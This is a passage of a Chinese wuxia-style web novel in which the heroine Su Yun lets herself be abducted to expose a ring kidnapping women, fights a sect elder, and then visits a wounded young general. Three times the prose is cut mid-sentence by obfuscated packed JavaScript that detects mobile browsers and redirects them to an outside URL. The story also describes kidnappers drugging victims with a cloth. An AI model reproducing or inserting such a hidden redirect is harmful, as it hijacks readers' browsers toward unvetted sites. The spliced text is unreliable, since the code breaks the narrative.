只听那个三哥道：“不说这个，喝酒喝酒。”三人又喝酒吃菜，又说起万红楼的小翠如何如何肤白，张家寡妇如何饥渴，所涉言语逐渐淫邪起来，苏云前世见得多，也不在乎，倒是杨三叔反倒有些不自在起来。 谈笑一阵后，一人道：“要说这拐子掳人，还得是牛二娘这老货厉害，不仅能打探到美人，这掳人手段也是一等一厉害。”另一人道：“是啊，小弟也佩服得紧。你看那个弹琴的小妞，等她稍微落单，上去就用手帕蒙住她的口鼻，一时便迷晕过去，就算有人问，也是自家小姐有些困了，然后抱着她回到事先准备的车里，三脚两脚把发髻换成男子的，衣服也换成男子的，脸上抹了一层黄泥水，再加几划黑色锅底灰，就是他亲妈来了都认不出来，哈哈哈！就可惜那个作诗的小娘子，总是一堆人，不好下手，不然贵人肯定更喜欢。” 一人道：“还是小心为妙，不过牛二娘已经打听到了，那个小女子住在凉水院，等两日差不多了，就是强闯，也要把她掳走。”苏云听得火起，差点按耐不住，杨三叔轻轻拍了她一下肩膀，这才强忍住没有暴起。 只听一人道：“只是堂堂暗血门，现在怎么做起拐卖人口的勾当来了？”苏云不知江湖事，倒也没什么，杨三叔却是大吃一惊，没做声，继续听下去。 一人小声道：“老门主去世后，少门主继位，听说是搭上了朝廷贵人的路子，这不是到处搜刮美女，投其所好嘛。”另一人显然有些警觉：“怎么又开始胡言乱语了，我等连外围都算不上，敢议论主子们，你们有几个脑袋？”二人连声喏喏，又聊到别的地去了。 约莫过了小半个时辰，三人可能喝醉了，伏案睡起来。 两人静待了一会儿，的确没有动静，这才用剑轻轻打开了门栓，走了进去，只见屋内一盏油灯发着微弱的黄光，两个大汉伏在桌上，一个大汉倒在椅子上，都在呼呼大睡。杨三叔要上前，苏云道：“三叔，这份功劳还是给朱县令吧。三叔在这里看着，我去找朱县令。”杨三叔知道苏云碍于身份，不好直接动手，于是点点头。 苏云本想直接找朱县令，却又想到自己还穿着夜行衣，想了想，保险起见，还是悄悄回到自己院子，换了一身衣服，这才来到县衙，好在院子里县衙不远，并没有用多少时间。 朱县令躺在床上辗转反侧，旁边小妾的白白嫩嫩的身子都不香了。自从出了拐子案，朱县令心忧如焚，倒不全是为国为民，只是担心自己好不容易才升了官，有了进京的希望，如果因为这事被打回原形，断了仕途，那简直没天理了。 正在忧心之际，听的外面有脚步声，一个衙役在外面敲门，急切道：“老爷，睡了吗？拐子案有线索了。”朱县令一听，精神一震，猛地坐了起来，没想到起身有点懵，一阵晕眩，不过心里挺高兴，道：“马上就来。”起了床，穿上官袍，开门，见一个衙役正小心站在门口，道：“怎么回事？”那衙役道：“回老爷，县主来报案，说找到拐子案的线索了。”朱县令道：“县主呢？”衙役道：“在客厅等着。”朱县令道：“还不赶紧过去。” 苏云正焦急地踱着步，见朱县令过来，彼此见礼后，朱县令道：“县主是什么消息？”苏云道：“我家杨三叔发现了拐子在城里的巢穴，请县令大人集合人马，拿人去。”县令大喜，忙叫人叫来杨捕头，带着一队人马，悄无声息跟着苏云出发。 到了那个院子，苏云指了指，道：“杨大叔，拐子就在里面。”院门已经打开了的，点燃火把，一行人冲了进去。只见院子里一片凌乱，很多东西都被打断弄翻，显然是经过了一场激战，杨捕头举着火把，冲进房间，里面也是一片狼藉，三个大汉死在屋里，杨三叔已经不见了踪影。 折腾了好一阵后，苏云回到自己的院子，懊恼了好一阵，不仅梁莺没有消息，杨三叔也没了音信。梁莺虽是女娃，但听壮汉的言语，应该是准备送人的，没有送出去之前，不会有什么事情；杨三叔武功高强，罕有敌手，就算遇到危急情况，自保逃命也没有什么问题，现在没有消息，估计是什么事情绊住了，然则绝不会有性命之忧。这样想着，也就不用太担心。 心里略微放心，眼看已到寅时，不再睡觉，便盘腿打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏云不愿得罪人，顺势捧了几句。见他们准备勘查现场，便不再打扰，告辞回去了。 回到院子，正好有个伙计模样的人送来了砚台，说是昨天的诗词果然夺魁的彩头，苏云早就兴趣全无，收下砚台，随口道谢了两句。也不清楚应该干什么，于是盘腿打坐起来。这些时日，苏云并没有放下练功，在杨三叔的指导下，功夫日渐精进，鞭法也堪堪完成，只待进一步练熟，只是回到临川后，基本没有与人进行实战，经验上还是感到比较欠缺。 苏云猛然想起三个大汉说的话，好像是对自己很在意，会不惜一切手段绑架自己，以自身现在的功力，自是不惧，但如果以此为线索，以身入局，会不会更快破案？很快，苏云就下定了决心。 苏云先选择了一个香味比较持久的香料，贴身藏好，又用香囊装了一些，然后出门到县衙，找到朱县令，说出了自己的计划。朱县令唬得不轻，县里已经失踪了十多个女子，上峰依然已然知晓，如果县主再失踪，那他的压力可想而知，不仅升迁无望，只怕是官位不保。无奈现在也没有什么别的好办法，加上苏云不断为他分析，只得含糊答应了，对苏云既感且佩，拿着香囊，自行去找杨捕头安排好。 到得晚间，出去的男子们都回来了，说是郊外并没有发现什么不同的地方。苏云只得温言安抚一番，让他们明天继续查找，又跟王嬷嬷交代了一番。 苏云暗想应该是今晚会有人会行动，早早做了准备，又想起几个月前，对付刘老五那晚的情景。谁料一个晚上风平浪静，野猫都没有一只。 46. 第 46 章 46、生死决战 苏云觉得气闷，带着王嬷嬷上街，虽然也有年轻女子被绑架的消息流传，百姓貌似并不关心，街上依然热闹非凡，只是年轻女子明显少了很多。 苏云带着王嬷嬷随处闲逛，忽见前面围了一群人，靠近一看，原来是两个汉子在吵架。一个汉子不小心撞翻了另一个汉子的挑子，蔬菜瓜果撒了一地，又被行人踩烂了不少，挑担的汉子自然不干，扭住闯祸的男子要赔偿，却不料那个男子很是凶悍，并不认账，反说是挑担的汉子撞伤了自己，要他赔钱。两人越吵越凶，不久就动起手来，围观百姓也高兴地指指点点。 苏云本不想理睬，王嬷嬷却是一个爱瞧热闹的，见两人越打越厉害，倒是看得兴味盎然，时不时还要喝两声彩。不一会儿，挑担的汉子明显落了下风，鼻青脸肿，忙止住那个汉子道：“算了算了，别打了，我不要你赔菜钱了。”另一汉子面目狰狞：“哪有那么容易，明明是你撞伤了我，不赔钱，别想走。”挑担的汉子有些心虚：“既如此，你要多少？” 汉子扭了扭脖子道：“我一身伤，少了一两银子你就别想走！”挑担的汉子大叫：“我一个卖菜的小贩，哪来一两银子给你？你不是明晃晃讹人吗？”那汉子道：“你撞伤了我，还打我，今天就算天王老子来了也不行，不给钱，就见官去。”说着，上前作势就要去抓挑担的汉子，挑担的汉子退了一步，苦着脸道：“确实没有这么多银子。”围观百姓见状，也纷纷劝那汉子，那汉子见众说纷纭，也怕事情闹得不可收拾，道：“那你有多少银子？”挑担汉子取下褡裢，倒出所有的铜板，也就二十多个。那汉子一把抓了过去，道：“算了，老子今天不想多事，以后走路看清楚些。”然后扬长而去，众人也安慰挑担汉子两句，慢慢散去了。 王嬷嬷这才心满意足，回头看苏云，却发现后面哪里还有人。吓得一激灵，四下寻找，哪里还有苏云的影子？心慌好一阵之后，才想起苏云交代的事情，急忙朝县衙跑去。 苏云迷迷糊糊醒来，原来自己在一间光线昏暗的房间里，躺在一堆凌乱的稻草上面。只听得旁边一个女子的声音：“你醒了？”苏云适应了好一会，才看清了一个身着男装，脸庞又黑又花的人，正关切的看着她。苏云费力地坐了起来，打量了一下屋里，还有五、六个差不多的女子，都是蓬头垢面，有的低头沉默，有的在轻哭。 苏云想起，原来白天看热闹的时候，王嬷嬷越看越朝前去，自己在后面，突然感觉有两个汉子朝自己靠近。自从练功以来，苏云的六感灵敏了许多，本能想推开，却突然想起计划，只当不知，只是悄悄地屏住了气息。果然，一个人挡在前面，一只手从后面伸过来，一张帕子蒙住了自己的口鼻，苏云顺势略一挣扎，身体便软了下去，然后被人扶着送进了一辆简陋的马车。人一上车，马车就开始移动，车里坐着一个中年女子，手脚麻利，脱下了她的外衣和裙子，给她换上了一套男子服装，又打乱她的头发，挽成男子发髻，再拿出一些化妆品，在苏云脸上一阵涂抹，不一会儿，苏云就变成了一个脸色苍白，脸上有些红点，有些脏污的乡下少年模样。那妇人操作完毕，看看满意后，对着外面道：“成了。”不久到了城门口，不知道赶车人说了什么，只见一个士兵拉开车帘朝里看，看到苏云病恹恹的样子，赶紧缩回去，连声催促快走。苏云可能还是多少中了点迷药，慢慢真睡着了。 女子端来一碗水，苏云喝下后，说声谢谢，便不再理会，开始端坐运气，两个周天后，精神饱满了，感觉并没有什么阻碍，而且藏在贴身的鞭子和香料都还在，这才站起来，四处看了看。屋子不大，也没什么家具，几个女子坐在角落里，见苏云醒来，也没什么反应，可能是已经习惯了。 刚到门口，准备朝外面看看，只听外面一个男子声音：“干什么，回去乖乖坐着。”苏云也没管，透过门缝朝外面看，也看不清什么，突然们一推，两个汉子站在门口，厉声道：“看什么看，滚回去坐着。”苏云讪讪退回去坐着，汉子才把门关上。 就刚才看到的，苏云判断这应该是在山上。那个端水的女子道：“我们逃不出去的。刚进来时，我们也像你一样，总希望有人来救我们。”苏云道：“我姓朱，姐姐贵姓？”女子道：“奴家孟丽群，家里做点小生意，是前天被被人迷晕抓到这里的，也不知道家里人怎么样了。”说着便带呜咽声。 苏云小声道：“姐姐们都过来吧。”几个女子看了看苏云，还是慢慢围了过来，苏云道：“县令大人知道大家都被抓了，现在正在竭力营救，快者今天，慢者明天就会有人来救我们，大家都准备好，养好精神。”众人露出不可思议的神情，苏云坚定道：“我就是县令大人派来救大家的，等官兵一到，我们就冲出去。”然后不再言语。 只听门外两个汉子恭敬道：“朱长老。”一个中年汉子的声音哼了一下，道：“今天抓来的女子没什么问题吧？”汉子道：“没什么事，除了哭，没什么事。”中年汉子道：“那就好，也别饿着她们，要是饿瘦了，贵人不喜，没你们好果子吃。”汉子忙道：“小的不敢，吃食上并没有苛待她们。”中年汉子道：“也别动什么歪心思，要是被本长老知道了，你就不用活了！”汉子忙道：“小的万万不敢。”中年汉子道：“你们俩打起精神，仔细看管。这两日差不多了，随时会有人来提货。别给我捅出什么篓子来。”转身走了。 过了一会儿，门口一汉子道：“妈的，赶紧把这些祖宗带走吧，这些天提心吊胆，囫囵觉都没睡一个。”另一汉子道：“可不是，赶紧带走，就可以松一口气了。我那小翠好些天都没有疼她了。”汉子笑骂：“你那婊子不知道有什么好挂念的，现在说不定又在跟谁快活呢？”另一汉子笑着骂了一声，也没有生气。 一会儿，汉子道：“话说这朱长老可真是了不得，据说是暗血门四大长老之一，江湖上可是赫赫有名的。”另一汉子道：“可不是，江湖人称‘千均狂刀’，据说天生神力，十多岁的时候，就孤身屠灭了一个门派，杀的人，没有一千，怕也不会少了八百。一把大刀硬生生让江湖人闻者胆寒。”汉子神往道：“长老都这样了，不知道门主武功会高到什么样。”另一汉子道：“那可不是。” 两人聊得正欢，只听一个人道：“张大、李四，开饭了。”那汉子道：“得嘞，我先去吃饭，然后带饭过来。” 一顿饭过后，门打开，一个汉子端着一个盆子进来，里面装满了馒头，道：“开饭了。”见没有人上前，道：“麻溜的，每个人吃两个，吃不完的，小心皮痒。”众人只好慢慢上前，每个人拿了两个馒头，只是都没什么心思吃饭，汉子眼一瞪，哼了一声，众人这才赶紧把馒头往嘴里送。汉子硬是盯着每个人把两个馒头吃完，这才退出，锁上了门。 约莫到了酉时，天色渐晚，外面有似乎有动静，而且阵仗不小，想是有好多人。屋里的女子都紧张起来，纷纷站起，有的看着苏云，有的朝门口跑去，想透过缝隙看看外面的情况。 苏云也站起来，慢慢走过去，门口的女子都下意识让开，苏云点点头，猫身看出去，只见院子外面应该已经被包围，院子里面很多人，朱县令带着衙役，还有官兵；背对着自己的，也有不少人，想来是拐子一方的暗血门，双方一触即发的架势。门外的两个看守都不知道跑哪里去了。只听杨捕头大声道：“被拐的小娘子就在里面，立功领赏的机会来了，弟兄们，并肩子上啊！”衙役官兵一拥而上，混战开来。苏云知道机会来了，又怕拐子女子们慌乱，要是被当成人质反倒麻烦了。于是转身道：“各位姐姐，救我们的人来了，千万不要出声，大家不要着急，听我的安排，不要出去，我先出去看看。”双手一用力，门闩断掉，轻轻打开门，侧身出去。 原来是一个不大的院子，建筑比较陈旧，有些破败，自己这边还有几间屋子。苏云走过去，用力震断门闩，里面发出一阵女子的尖叫。苏云道：“各位姐姐莫怕，我是来救你们的，大家不要说话，听我的。大家现在里面呆着，不要出来。”一个小小的身影看着苏云，想说话，又不敢说，正是梁莺。苏云也不多话，又跑到另一间屋子，震断门闩。 此时，天色愈加黯淡，有些人已经亮起了火把。只见院子中间，一个汉子手执大刀，和两个衙役装扮的人战成一团，正是暗血门长老和张捕头、梁捕头。杨捕头等人根本靠不上去。三个人都是大刀，又都是刚猛路子，大起大合，卷起的劲风把院子里的人都逼到了墙边，火把也在剧烈闪烁。双方都忘了厮杀，怔怔的看着三人激斗。众人看的是热闹，但苏云看得出来，张、梁两个捕头，人数占优，却感觉力有不逮，十数招一过，已经在勉力支撑。 苏云迅速判断形势，若是张、梁两捕头落败，只怕再也没有人抵得住，己方人数虽众，但是按照朱长老手屠几百人的战绩，这些人只怕不够凑数，徒增伤亡，解救一众女子也成泡影。但是自己若参战，暗血门抽人手来抓女子做人质，却又该怎么办？ 正在心思电转之间，只见一个面容俊秀的少年将军手执长枪加入了战团，正是国公府世子林涵功。战团变成四人激战，林涵功一把银枪神出鬼没，变化多端，但是毕竟年少，内力不足，而且枪法适合战场上拼杀，对于这种江湖拼斗并不是很有利。苏云瞧的明白，虽然林涵功凭枪法招式一时占优，但只要再接几招，优势就会退去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205776|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏云弯腰捡起一颗石子，朝杨捕头掷去，正中杨捕头肩膀，力道却正好，并未伤他。杨捕头朝苏云看过来，苏云朝他招手，做了几个手势，杨捕头立马明白，虽看不出苏云模样，却也猜到是她，悄悄叫了几个衙役，摸到了苏云这边，并未引起人们注意。苏云见他过来道：“杨大哥，这几间屋子里面都是被绑的女子，麻烦你看顾好。”杨捕头拱拱手，安排衙役将女子们悄悄转移。 就在这短短时间里，果如苏云推测的一样，朱长老一刀劈来，林涵功躲避不及，只得硬着头皮招架，震得虎口发麻，站立不稳，长枪差点飞出去，好在张捕头一刀劈向朱长老后背，朱长老不得不闪避，林涵功这才得空退下，却是口角溢出一缕鲜血，浑身酸软，再战不得，几个兵士围在他的身前。 只见张叔手持大刀冲出，也加入了战团，也是刚猛路子，只是他的大刀是长把大刀，和林涵功一样，属于战场上的利器，在战场上威风八面，用于江湖拼杀，仍显不出优势，果然，十余招之后，也败下阵去。 如此一来，战局回到原来的状态，朱长老越战越勇，张、梁二人苦苦支撑。 苏云也不再犹豫，捡了几颗石子，握在左手，右手抽出腰间长鞭，轻轻一跃，落在了朱长老后面，长鞭甩出，如长蛇一般，直扑朱长老。朱长老听得后面劲风扑来，不敢托大，一刀逼开梁捕头，轻轻一步向左移开，躲开长鞭，趁势转头，却见一个瘦小的汉子手持长鞭加入了战团。个子虽小，劲力却不容小觑，虽然差自己还远，比起两个捕头，似乎还要略高一些，真要被抽上一鞭，只怕落不得好。对付三人，却把重心放在了苏云身上，张梁二人觉得压力骤减。 苏云却连连叫苦，知道朱长老功力浑厚，自己远远不及，经验又浅，不敢正面硬抗，都是仗着长鞭灵巧，距离较远，又偶尔发出石子暗器，朱长老得时时防着，这才堪堪可以支撑，再加上张、梁二人从旁协助，四人在场中打得难解难分。 数招已过，朱长老躲开一鞭，口中道：“小子是清风一指林二什么人？小小年纪，竟有这般造诣，委实了得！”口中说着，身子却一点不见稍滞，苏云却已是拼尽全力，哪敢分心回答。 再斗了一阵，朱长老也开始叫苦，毕竟昨天和杨三叔对阵受伤不轻，并未完全恢复，再加上和张梁他们斗了多时，也觉有些气力微喘，力道已不如前，且有伤在身，心里暗暗着急；而张梁二人也是身上数道伤口，虽不是很严重，已是有力竭之象，出招变得迟缓起来，自保都很难，倒是苏云仗着身法轻灵，承接了朱长老大部分的压力，也是异常吃力。若是一直缠斗下去，难免出现两败俱伤之势。 正在这时，院子外奔进一人，不是杨三叔又是谁？朱长老本已是强弩之末，见到劲敌前来，不由暗叹一声：“吾命休也！”顾不得许多，猛力朝张捕头扑去，张捕头躲避不及，只得硬抗一刀，双刀相撞，张捕头倒飞出去，朱长老趁机一纵身，朝院墙飞掠而去，同时将大刀往后一扬，挡住苏云飞来的一鞭，并借势飞得更快。朱长老在空中大笑两声，落在了院墙外面，只听两声惨叫，想是守在外面的衙役已经被杀。苏云正要跃身追去，却被杨三叔喝道：“好汉，穷寇莫追！” 原来那晚，杨三叔在院子里看着汉子，等苏云带人来，却不料朱长老也来了，两人旗鼓相当，斗了百十余招，各自受伤。只是杨三叔未带兵器，受伤更重一些。朱长老随手杀掉汉子，然后跃上房顶而去，杨三叔伤得不轻，也不敢去追，怕再有人来，也赶紧离开，在不远处找了一个空房子，自行坐下疗伤。这一坐就是一天一夜，直到中午才感觉好了大半，回到院子，听说朱县令派了衙役跟踪，这才一路寻来。 杨三叔虽可捡便宜，但也知道，真要拿下朱长老，自己不死也得重伤，而且人在江湖，也不想得罪死暗血门，所以朱长老逃走，他才止住了苏云。 这一场恶斗，真的是惊心动魄，苏云想想都有些后怕。不过看着大家都用探寻的眼光看着自己，知道不能待下去，后面的事情，自然有朱县令主持。于是纵身一跃，从另外方向越墙而出。盖因苏云知道，这个时代女子名节非常重要，自己以身入局，恶斗朱长老，自己本身无惧，但若被外人知晓，传到京城，必然对侯府声名不利，只能做一回无名英雄了。反正此间事情已了，自己尽可先回到柳河庄去。 一路疾驰，回到柳河庄，夜幕之下，悄悄进了庄子，身法轻盈，连狗都没有惊动一只，人不知鬼不觉回到小院，换了装束，让下人烧水，沐浴换装，这才施施然出现在众人面前，众人都没有见到苏云回来，很是奇怪，苏云道：“回来之时已晚，就没有惊动大家，无事，各自安歇就是，明天事情还多。” 47. 第 47 章 47、看望少将军 翌日，苏云早早起来，洗漱完毕，吃了早饭，不想张扬，独自坐着牛车进城，来到凉水院，果见王嬷嬷正在门口张望，见到苏云，激动上前，拉着苏云的手，声音哽咽道：“小姐，你可回来了！没什么事吧？” 苏云心中畅快，双手一摊道：“嬷嬷放心，你看我有事吗？”王嬷嬷一边抹泪，一边又笑起来，声音很是难听。 苏云道：“嬷嬷，莺儿呢？”王嬷嬷道：“莺儿昨日受了惊吓，一个晚上说胡话，天快亮时才睡着，也没什么事。”苏云道：“那就好，不用叫她，让她好好歇息就是。杨三叔呢？” 王嬷嬷道：“杨三叔没事，现在也在睡觉。”苏云道：“那也别去打扰。院子里有事没？” 王嬷嬷道：“无事，我对他们说小姐昨晚有事，先去柳河庄了，没人起疑。” 苏云道：“既然无事，那我们先去县衙，看看朱县令。” 一干人犯和被拐女子押送到县衙后，杨三叔和林涵功等也各自回去驿站休息。朱县令一夜未睡，和杨捕头一起，带着兄弟们忙着关押犯人，将被拐女子登记造册，通知家属前来领人，亲人见面，有的抱头痛哭，有的向朱县令磕头谢恩，县衙乱成一团。 不过朱县令倒觉很是畅快，也不觉得烦闹，反倒细心安慰起那些家属，博得爱民如子的好名声。折腾了一整夜，才算清静下来，正准备先去睡一会，却有衙役来报，说是县主来访。此时的朱县令，是从心里真心佩服苏云，一个小小女娃，以县主之尊，居然甘愿以身犯险，破得如此惊天大案，委实不易。若说以前主要是存了攀附之心，现在真的是钦佩之至！ 朱县令将苏云主仆迎至偏厅，朱县令郑重下拜道：“县主侠肝义胆，更兼足智多谋，老朽代临川县百姓感谢县主大恩！”恭敬磕头。苏云吓了一跳，连忙起身，扶起朱县令道：“县令大人太客气了，有话起来说，小女子实在担不起如此大礼。”二人这才坐下叙话。 原来昨日苏云被绑，王嬷嬷赶紧按照前晚所说，急忙到县衙找朱县令报案。正好少年将军林涵功要回前祁州先路过临川，前次因张叔受伤，承蒙朱县令送药，上次走得急，并未向朱县令辞行，现来拜谢朱县令，遇到如此大案，也慨然帮忙。朱县令召集衙役们出发，将苏云交给她的香囊转交给善于追踪的张捕头，然后带上追踪犬，浩浩荡荡出发了，一直到傍晚，才追到了距县城四十多里地的褚云山，朱县令亲自排兵布阵，守牢了各个出口，带着众人冲上山，找到了那个院落。 朱县令道：“没想到暗血门竟有如此高手，若不是县主及时出手，只怕要功败垂成，铩羽而归！”苏云道：“县令大人客气了。”想想当时的凶险场景，也就并不推辞。 朱县令又道：“此次破获如此大案，县主堪称首功，只是若将此事上报，少不得要将整个过程详说，只怕对县主声名不利。若是不报，县主可能就什么都没有了。如何定夺，还要县主示下。” 苏云道：“以本县主现今之身份，实在不宜宣扬，我一个小女子，拿这些功劳并无多大益处，案情上报，就不必提我。倒是要在这里先恭祝县令大人，破获此大案，不日必被嘉奖！只是昨日所见，也请县令大人不要对旁人谈起。”朱县令道：“县主文武全才，高风亮节，下官感佩不已。昨日有关县主之细节，断不会对外人吐露半个字，敬请县主放心。” 苏云道：“不知林将军情况如何了？” 朱县令道：“林将军昨日力战狂徒，受了一些内伤，应是在驿站歇息，昨晚已经请县里名医问诊过，只需修养些时日即可。此间事情忙完，稍后再去拜访。” 苏云这才放下心来，告辞而去。 因为去驿站要经过凉水院，于是先去了凉水院看看杨三叔，杨三叔已无大碍，刚好打坐完毕。苏云道：“那杨三叔好好歇息，我这就去看看林大哥和张叔。” 杨三叔听说过苏云动手术的事情，对林涵功也很有好感，于是起身道：“我已无碍，左右无事，一起看看去。”王嬷嬷带了几瓶好酒，放在篮子里，一起去驿站。 驿站中，张叔已经基本恢复正常，正在外面和兵士闲聊。见到苏云他们过来，张叔老远就打招呼，高兴道：“好侄女来了，上次给国公府送的好酒，委实好喝，还有没有？”杨三叔气度非凡，昨日已经见过，只是时间仓促，并未有过交谈。苏云忙介绍：“这是我们庄子上的杨三叔。”又介绍张叔：“这是张将军。”二人见礼。 苏云笑道：“张叔还是这么着急。”上前行礼，张叔笑道：“你都是县主了，应该我给你行礼才对。”作势要下跪，唬得苏云一把拉住，道：“张叔你这是要折云儿的寿吗？不就是想要好酒吗？带来了。”王嬷嬷递上篮子，张叔接过看了一眼，喜道：“这么多，太好了。” 苏云道：“林大哥呢？”张叔道：“在里面躺着呢。大夫来瞧过，说没什么大碍，将养几天就好了。”苏云道：“那我进去瞧瞧。” 四人进屋，只见林涵功和衣半躺在床上，脸色还有些苍白，见苏云他们进来，眼睛一亮，想要起身，却挣扎几下没能起来，不好意思道：“云妹来了。自从上次分别，半年没见，你长高了不少。还蒙你几次给国公府送酒，真是有心了。昨晚受了伤，不便见礼，云妹莫怪。” 苏云道：“林大哥哪里话，本该昨晚就过来，奈何人在柳河庄，今个儿一早听说你受了些伤，这便来看看。不碍事吧？”林涵功道：“无碍，大夫说将养几日即可。” 杨三叔道：“小将军力敌暗血门高手，委实不易。” 苏云赶紧介绍道：“这是杨三叔，江湖上鼎鼎有名的大侠。” 林涵功道：“见过大侠。”杨三叔道：“小将军客气了。小将军不必焦心，你这伤并无大碍，只是硬抗了朱长老的大刀，真气有些紊乱，并未伤及内脏，只是想要大好，应是半月以后了。若是信得过，不妨让我试试？” 林涵功见苏云点头，便道：“如此，多谢杨三叔！” 杨三叔让林涵功坐起，然后上床盘坐在他后面道：“一会无论有什么感觉，切不可动作。”林涵功点头。只见杨三叔双手搭在林涵功双肩，开始度入真气，然后在将双手放在林涵功双侧腰上，继续度入真气，林涵功似在忍受极大痛苦，慢慢渗出汗来，过得半刻钟，杨三叔在林涵功颈部一拍，即告完成。林涵功面色肉眼可见开始有些红润起来。 杨三叔下床时，有些不稳，王嬷嬷赶紧扶了一把，杨三叔摆摆手：“无妨。” 林涵功试了试气息，已经无碍，竟已经康复大半，只怕明日就会完全恢复。起身下床，向杨三叔深施一礼道：“多谢杨三叔仗义相助！”杨三叔一摆手道：“不必客气，既是县主大哥，都好说。这两日不可用力，只能运气调息，三日后必能痊愈。”张叔也喜不自胜，上前两步，打量林涵功，见他面色红润，不再有病容，甚是喜悦，也向杨三叔拱手致谢。 苏云看看已到午饭时分，就道：“不若大家去聚福楼喝酒？”看了看杨三叔，杨三叔明白她的意思，就道：“小将军可以喝酒的，不要太多就行。” 张叔大喜，道：“那还等什么？这就去吧。守着这么多好酒不喝，不是折磨我老张吗？” 聚福楼的包间里，张叔看着满桌子的菜，惊讶不已，道：“好侄女，你这是吃了这顿就不准备过日子了吗？”苏云端起酒杯笑道：“何至于此。张叔你们来到我这里，我岂能不尽尽地主之谊？不说其他，各位干了这一杯！”说完，直接举杯喝了。张叔咂咂舌，也一饮而尽，摇着头道：“果真是好酒！” 苏云道：“不知现在边境是什么情况？”张叔道：“北境尚可，自从二十年前，国公爷大败北蛮后，北蛮求和，开放边境互市，就不曾发生过大规模的战事。只是每年冬季，总有一些部落遭灾，王庭救援不够，这些部落就不免骚扰边境，打谷草，不过都是小规模的袭扰，并没有太大影响。”苏云也不知道具体的情况，按照上一世看过的小说电视剧的经验，边境换了一代人之后，往往就会挑起战争，于是又道：“二十年，不可谓不久，新一代已经长成。不知北蛮的王庭首领可曾换人？” 林涵功道：“不曾换人，还是虎牙耶可汗。不过据情报来看，虎牙耶年事已高，执政已有些力不从心，他的兄弟和三个王子争得很是厉害，估计就是这一两年内就要决出高下，选出新王。到时会是一番什么光景，还要拭目以待。” 苏云道：“若是新王是个守成可汗，那倒也罢了，若是新王是个有野心的，只怕又要挑起战火。” 张叔道：“你一个女娃也懂这些？”苏云笑道：“我哪里懂这么许多，说笑而已。不过你们回去祁州，真的要加紧训练兵士，把边防设施好好查验，该修的修，该补的补，若一旦战事发生，才不至于被动！” 张叔道：“自是如此，二十多年了，很多边防设施都已老旧，一些兵甲也不能再用，急需更换，只是这些都需要银子，我等也向朝廷奏请增加边防开支，但总推说朝廷国库银子吃紧，能把兵饷发下来就已然不错了。户部拿不出银子，兵部也只能干着急。” 苏云道：“这可不行，若不预先修整好设施，真要开仗，部队吃了败仗，最后吃亏的还不是老百姓。” 张叔和林涵功叹了口气，都缄口不言。 苏云暗忖：边军二十多万人，军费是一个庞大的数字，而城防设施的维修，没有银子也根本没法动工。自己那点银子，对个人而言，确实很多，但是对一个军队而言，只怕还不够填牙缝，一时也无语。 杨三叔道：“没有银子，确是无法更换兵甲，维修城池。承平二十多年，自古都是没有战事，武官就没有什么地位，人微言轻。朝廷已经习惯不花这笔银子了，只怕要战事起来，才会重视起来。若是能搞出一个大杀器，也许可以震慑一时。” 苏云灵光一现，问道：“张叔、林大哥，现在军队里有些什么攻防武器，跟我讲讲。” 张叔道：“并无什么特别的，攻城无非就是抛石器、床弩、云梯什么的，守城也就是弓箭、石头、金汁等等，左右不过这些。” 苏云道：“听说北蛮擅长骑兵突袭？” 林涵功道：“正是。北蛮人从小就在马背上长大，无论男女，都是骑射高手。他们草原广阔，良马也多，骑兵的战力，着实很恐怖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205777|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏云道：“军中没有火器吗？” 林涵功道：“什么火器？火箭吗？也是有的，但对付骑兵，没什么用处。” 苏云道：“林大哥，你们还能在临川呆几天？” 林涵功道：“可是有事？最近没有什么军情，耽误三、四日应是无妨的。” 苏云道：“记得龙王曾给过一个方子，能做一种火器，杀伤力比较大，这两天我试试。若能成功，必定大有裨益。这样，这两天我就不陪张叔和林大哥了，去想想该怎么做。” 回到院子，苏云见王嬷嬷欲言又止，便道：“嬷嬷这是怎么了，有事就说。”王嬷嬷道：“小姐，你没注意到少将军的眼神吗？” 苏云道：“怎么了？”王嬷嬷叹了一声道：“小姐冰雪聪明，怎么在这件事上如此迟钝？” 苏云这才明白，回忆了一下林涵功今天的表现，是觉得有些热情过头，一大半时间都盯着自己看，见到自己注意到他，又把视线移开。原来应该是对自己有那种心思了。只是苏云是现代灵魂，觉得自己才十四岁不到，还是一个未成年人，根本没朝这方面想过，只以为林涵功是好久不见自己，比较热情而已。没想到现今社会，十四岁的女子都可以嫁人了。 苏云一时无语。王嬷嬷道：“恕老身多嘴。少将军家世背景均属一流，人又生得俊俏，最重要，对小姐有意，以后的日子，应不会难过。若是少将军真有此意，小姐倒不妨考虑考虑。” 苏云道：“我知嬷嬷是为我好。林大哥出身国公府，家世背景自不用多说，京中想和国公府联姻的大有人在。我一个侯府被流放的嫡女，若有此姻缘，自是高攀。只是我也有自己的顾虑。” 王嬷嬷没有说话。 